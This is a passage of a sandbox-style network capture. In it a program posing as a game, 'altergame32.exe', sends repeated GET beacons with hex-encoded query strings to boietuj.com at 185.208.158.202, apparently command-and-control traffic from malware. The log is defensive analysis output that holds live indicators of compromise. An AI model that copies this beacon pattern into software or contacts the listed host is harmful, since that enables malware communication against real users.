Nov 20, 2024 05:03:54.582773924 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:54.962649107 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	50039	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:03:55.088346958 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:55.796256065 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	50040	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:03:55.915716887 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:56.638695955 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	50041	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:03:56.760502100 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:57.469749928 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	50042	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:03:58.039854050 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:58.719826937 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	50043	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:03:58.851417065 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:59.577845097 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	50044	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:03:59.701590061 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:04:00.427445889 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:04:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	50045	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:04:00.581823111 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:04:01.290733099 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:04:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	50046	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:04:01.695470095 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:04:02.423727036 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:04:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Nov 20, 2024 05:04:02.542746067 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:04:02.792447090 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:04:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	50047	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:04:02.922924995 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:04:03.640023947 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:04:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	50048	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:04:03.760540009 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:04:04.467097044 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:04:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	50049	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:04:04.589704037 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:04:05.296166897 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:04:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	50050	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:04:05.562829018 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:04:06.232191086 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:04:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	50051	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:04:06.375147104 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:04:07.074831009 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:04:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	50052	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:04:07.203347921 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:04:07.930809975 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:04:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	50053	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:04:08.056974888 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:04:08.770709991 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:04:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Nov 20, 2024 05:04:08.878520012 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:04:09.241702080 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:04:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	50054	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:04:09.369337082 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:04:10.097054958 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:04:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Nov 20, 2024 05:04:10.206680059 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:04:10.464906931 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:04:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	50055	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:04:10.588433981 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:04:11.292295933 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:04:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	50056	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:04:12.356204033 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:04:13.148518085 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:04:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	50057	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:04:13.274492979 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:04:13.978082895 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:04:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	50058	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:04:14.103496075 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:04:14.830722094 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:04:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Nov 20, 2024 05:04:14.945848942 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:04:15.203723907 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:04:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	50059	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:04:15.321496964 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:04:16.026043892 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:04:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	50060	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:04:16.150794029 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:04:16.852190971 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:04:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	50061	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
